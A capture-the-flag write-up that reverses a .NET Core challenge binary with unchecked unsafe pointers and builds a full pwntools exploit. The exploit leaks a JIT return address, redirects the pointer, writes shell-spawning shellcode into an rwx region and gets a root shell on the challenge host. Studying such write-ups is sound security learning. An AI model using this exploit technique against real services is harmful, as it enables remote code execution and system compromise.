Points: 378 Solves: 6
core-pwn Category: Pwn
Difficulty: Easy/Medium
Author: 0x4d5a
First Blood: OpenToAll
Show all teams (6)We heard the .NET framework is secure and stuff. Nothing can go wrong, it’s a memory safe language! Really. Nothing.
Built with dotnet publish –runtime ubuntu.18.04-x64 and executed in a docker container: FROM mcr.microsoft.com/dotnet/core/aspnet:2.1.12-bionic
nc hax.allesctf.net 1234
Attachment: core-pwn.zip myApp.runtimeconfig.json xpl.py
$ nc hax.allesctf.net 1234
Input:
Being a .NET core assembly, it was pretty easy to reverse:
using System;
namespace myApp
{
internal class Program
{
private static void Main(string[] args)
{
Program.Loop();
Console.WriteLine("I am here.");
}
private static unsafe void Loop()
{
long* ptr = stackalloc long[256];
long* ptr2 = stackalloc long[256];
long* ptr3 = stackalloc long[256];
*ptr2 = 1L;
*ptr = ptr3;
while (*ptr2 > 0UL)
{
Console.WriteLine("Input: ");
switch (Console.ReadLine())
{
case "I":
// Increase pointer
ptr3++;
break;
case "R":
// Reset pointer
ptr3 = *ptr;
break;
case "P":
// Print value at pointer
Console.WriteLine(*ptr3);
break;
case "W":
// Write value to pointer
*ptr3 = Convert.ToInt64(Console.ReadLine(), 16);
break;
}
}
}
}
}
So, what the Loop
function basically does, is to allocate three buffers on the stack (nicely aligned) and provide us with 4 commands:
I
: Increaseptr3
R
: Resetptr3
(to the value stored at the beginning ofptr
)P
: Print the valueptr3
is currently pointing toW
: Read a value from the user in hex and write it to the addressptr3
is pointing to
Using the unsafe
keyword for the Loop
function, all of .NETs memory safety obviously goes to hell. Since it also has no boundary checking on the allocated buffers, we can easily “walk” outside of those buffers into the previous stack values.
The stack layout will be like this:
[ptr3]
[ptr2] => loop variable (set to 1)
[ptr] => pointer to initial ptr3 for reset
[stack]
While I was trying to setup the docker environment in the background, I played around with it locally and it turned out pretty quick, that we don’t even need the right environment to be able to exploit it.
To debug it locally, you’ll need a runtimeconfig (thanks to pusher for preparing that).
myApp.runtimeConfig.json
{
"runtimeOptions":
{
"tfm": "netcoreapp2.2",
"framework":
{
"name": "Microsoft.NETCore.App",
"version": "2.2.0"
}
}
}
Basic script to communicate with the service:
#!/usr/bin/python
from pwn import *
import sys
HOST = "hax.allesctf.net"
PORT = 1234
def inc():
r.sendline("I")
r.recvuntil("Input: \n")
def reset():
r.sendline("R")
r.recvuntil("Input: \n")
def pr():
r.sendline("P")
LEAK = int(r.recvline()[:-1])
r.recvuntil("Input: \n")
return LEAK
def wr(value, dorec=True):
r.sendline("W")
r.sendline(hex(value))
if dorec:
r.recvuntil("Input: \n")
def dump_stack(count):
for i in range(count):
LEAK = pr()
inc()
log.info("%d => %s" % (i, hex(LEAK)))
def exploit(r):
r.recvuntil("Input: \n")
dump_stack(200)
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process(["dotnet-sdk.dotnet", "myApp.dll"])
print util.proc.pidof(r)
pause()
exploit(r)
With this, I started to dump the stack to get an idea of the layout, and from where we could possibly leak some addresses.
$ python xpl.py
[+] Starting local process '/snap/bin/dotnet-sdk.dotnet': pid 30888
[30888]
[*] Paused (press any to continue)
[*] 0 => 0x0
[*] 1 => 0x0
[SNIP]
[*] 30 => 0x0
[*] 31 => 0x0
[*] 32 => 0x1 // Loop variable
[*] 33 => 0x0
[*] 34 => 0x0
[SNIP]
[*] 62 => 0x0
[*] 63 => 0x0
[*] 64 => 0x7fffffffb980 // ptr (containing original ptr3)
[*] 65 => 0x0
[*] 66 => 0x0
[SNIP]
[*] 95 => 0x0
[*] 96 => 0x632f622f6c2f722f // original stack
[*] 97 => 0x167612a
[*] 98 => 0x0
[*] 99 => 0x0
[*] 100 => 0x100000000
[*] 101 => 0x0
[*] 102 => 0x7fff58031ef8
[*] 103 => 0x100000000
[*] 104 => 0x7fff58031fe0
[*] 105 => 0x7fff58032058
[*] 106 => 0x0
[*] 107 => 0x7fff58032130
[*] 108 => 0x7fffffffbce0
[*] 109 => 0x7fffffffba80
[*] 110 => 0x7fffffffbb80
[*] 111 => 0x7fffffffb980
[*] 112 => 0x7fffffffbd20
[*] 113 => 0x7fff7cf21b58
[*] 114 => 0x7fffffffc018
[*] 115 => 0x7fff5801dec0
[*] 116 => 0x7fffffffbd40
[SNIP]
So, this looks already promising. Having not worked on .NET binaries by now, my first thought was “Let’s search a libc leak and build a ropchain”, but since the CLR doesn’t seem to rely much on libc, there were none near to our stack (found some way down the stack, but moving the pointer there mostly crashed the application).
As it turned out, though, being in an unsafe context, it’s way easier to exploit this successfully.
But first things first. We can now read values from the stack and also change them, but while we’re stuck in the loop, we cannot do anything useful with it. As you can see in the dumped data, the loop variable is stored at offset 32
, so we can just move the stack pointer there, and overwrite it with a 0
which will end the loop and return.
Since it was too bothersome, to follow the execution of the CLR, but knowing, it would have to “return” at some point, I just wrote some invalid values to the stack to see where it breaks :)
So, the first time it will segfault at offset 109
.
Thread 1 "dotnet" received signal SIGSEGV, Segmentation fault.
0x00007fff7cf21d85 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x74
$rbx : 0x00007fffffffbea0 → 0x00007fffffffbe38 → 0x00007ffff6001366 → <MethodDescCallSite::CallTargetWorker(unsigned+0> mov QWORD PTR [rbp-0xb8], rax
$rcx : 0x00007fffffffb8f0 → 0x0000000000000004
$rdx : 0x4
$rsp : 0x00007fffffffb980 → 0x0000000000000000
$rbp : 0x00007fffffffbd00 → 0x00007fffffffbd20 → 0x00007fffffffbd40 → 0x00007fffffffbf10 → 0x00007fffffffc130 → 0x00007fffffffc3a0 → 0x00007fffffffc450 → 0x00007fffffffc4b0
$rsi : 0xfffffffffffffff
$rdi : 0x6d
$rip : 0x00007fff7cf21d85 → 0x489000eb90388948
$r8 : 0x4
$r9 : 0x4
$r10 : 0xd
$r11 : 0xd
$r12 : 0x00007fffffffc0a0 → 0x00007fffffffc028 → 0x00007fff7c294420 → 0x00007ffff66341c0 → 0x00007ffff610a040 → <Module::Initialize(AllocMemTracker*,+0> push rbp
$r13 : 0x0
$r14 : 0x1
$r15 : 0x00007fffffffc018 → 0x00007fff7c295818 → 0x0028000501000001
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7fff7cf21d79 mov QWORD PTR [rbp-0x30], rax
0x7fff7cf21d7d mov rax, QWORD PTR [rbp-0x20]
0x7fff7cf21d81 mov rdi, QWORD PTR [rbp-0x30]
→ 0x7fff7cf21d85 mov QWORD PTR [rax], rdi
0x7fff7cf21d88 nop
0x7fff7cf21d89 jmp 0x7fff7cf21d8b
0x7fff7cf21d8b nop
0x7fff7cf21d8c mov rdi, QWORD PTR [rbp-0x18]
0x7fff7cf21d90 xor eax, eax
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffb980│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffb988│+0x0008: 0x0000000000000000
0x00007fffffffb990│+0x0010: 0x0000000000000000
0x00007fffffffb998│+0x0018: 0x0000000000000000
0x00007fffffffb9a0│+0x0020: 0x0000000000000000
0x00007fffffffb9a8│+0x0028: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
This happens because at the previous offset (108
) ptr3
itself is stored, and we just overwrote the pointer with 108
. Let’s keep this in mind, might come in handy to be able to move ptr3
to an arbitrary address this way.
So we’ll ignore this index for now, and overwrite the following addresses, and break out of the loop by overwriting the loop variable with 0
.
def breakloop():
reset()
for i in range(32):
inc()
wr(0, False)
def exploit(r):
r.recvuntil("Input: \n")
for i in range(111):
inc()
for i in range(20):
wr(i+111)
inc()
breakloop()
r.interactive()
return
Thread 1 "dotnet" received signal SIGSEGV, Segmentation fault.
0x0000000000000071 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00007fffffffbea0 → 0x00007fffffffbe38 → 0x00007ffff6001366 → <MethodDescCallSite::CallTargetWorker(unsigned+0> mov QWORD PTR [rbp-0xb8], rax
$rcx : 0x00007fffffffb8f0 → 0x0000000000000003
$rdx : 0x3
$rsp : 0x00007fffffffbd10 → 0x0000000000000072 ("r"?)
$rbp : 0x70
$rsi : 0xfffffffffffffff
$rdi : 0x0
$rip : 0x71
$r8 : 0x3
$r9 : 0x3
$r10 : 0x0
$r11 : 0x0
$r12 : 0x00007fffffffc0a0 → 0x00007fffffffc028 → 0x00007fff7c2b4420 → 0x00007ffff66341c0 → 0x00007ffff610a040 → <Module::Initialize(AllocMemTracker*,+0> push rbp
$r13 : 0x0
$r14 : 0x1
$r15 : 0x00007fffffffc018 → 0x00007fff7c2b5818 → 0x0028000501000001
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffbd10│+0x0000: 0x0000000000000072 ("r"?) ← $rsp
0x00007fffffffbd18│+0x0008: 0x0000000000000073 ("s"?)
0x00007fffffffbd20│+0x0010: 0x0000000000000074 ("t"?)
0x00007fffffffbd28│+0x0018: 0x0000000000000075 ("u"?)
0x00007fffffffbd30│+0x0020: 0x0000000000000076 ("v"?)
0x00007fffffffbd38│+0x0028: 0x0000000000000077 ("w"?)
[!] Cannot access memory at address 0x71
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
By overwriting offset 113
we gain rip control. Still no useful leaks by now, so I just checked, where it would normally return to.
gef➤ xinfo 0x7fff7cf31b58
────────────────────────────────────────────────── xinfo: 0x7fff7cf31b58 ──────────────────────────────────────────────────
Page: 0x00007fff7cf30000 → 0x00007fff7cf34000 (size=0x4000)
Permissions: rwx
Pathname:
Offset (from page): 0x1b58
Inode: 0
Didn’t really look further into it and just assumed that this might be some JIT region from the .NET CLR.
And the loop
function will return there, as soon as we break the loop. Well, perfect…
As we previously saw, ptr3
is stored at offset 108. We can just point it anywhere by overwriting the address at that offset (btw, it’s not a good idea to overwrite the original address stored in ptr
and then reset, to move ptr3
, since you won’t be able to get back into the current buffer again to reset the loop).
So, the plan is:
- Leak the value at offset
113
to the jit region - Reset ptr3 and walk back to offset
108
and overwrite it with the jit return address (ptr3
now pointing into jit region at return address) - Write shellcode to the jit region
- Reset ptr3 and walk to offset
32
to overwrite the loop variable to break the loop - Enjoy shell
def move_ptr3(address):
reset()
for i in range(108):
inc()
wr(address)
def exploit(r):
r.recvuntil("Input: \n")
log.info("Move to address of jit return address")
for i in range(113):
inc()
log.info("Read return address")
LEAK = pr() # leak to rwx section
log.info("RWX section : %s" % hex(LEAK))
log.info("Move ptr3 to jit region")
move_ptr3(LEAK)
log.info("Write shellcode to jit region")
payload = asm(shellcraft.amd64.sh(), arch="amd64")
for i in range(0, len(payload), 8):
wr(u64(payload[i:i+8]))
inc()
log.info("Break the loop to trigger shellcode")
breakloop()
r.interactive()
return
$ python xpl.py 1
[+] Opening connection to hax.allesctf.net on port 1234: Done
[*] Move to address of jit return address
[*] Read return address
[*] RWX section : 0x7f776c5716b8
[*] Move ptr3 to jit region
[*] Write shellcode to jit region
[*] Break the loop to trigger shellcode
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag
ALLES{CLR_1s_s3cur3_but_n0t_w1th_uns4fe_c0de}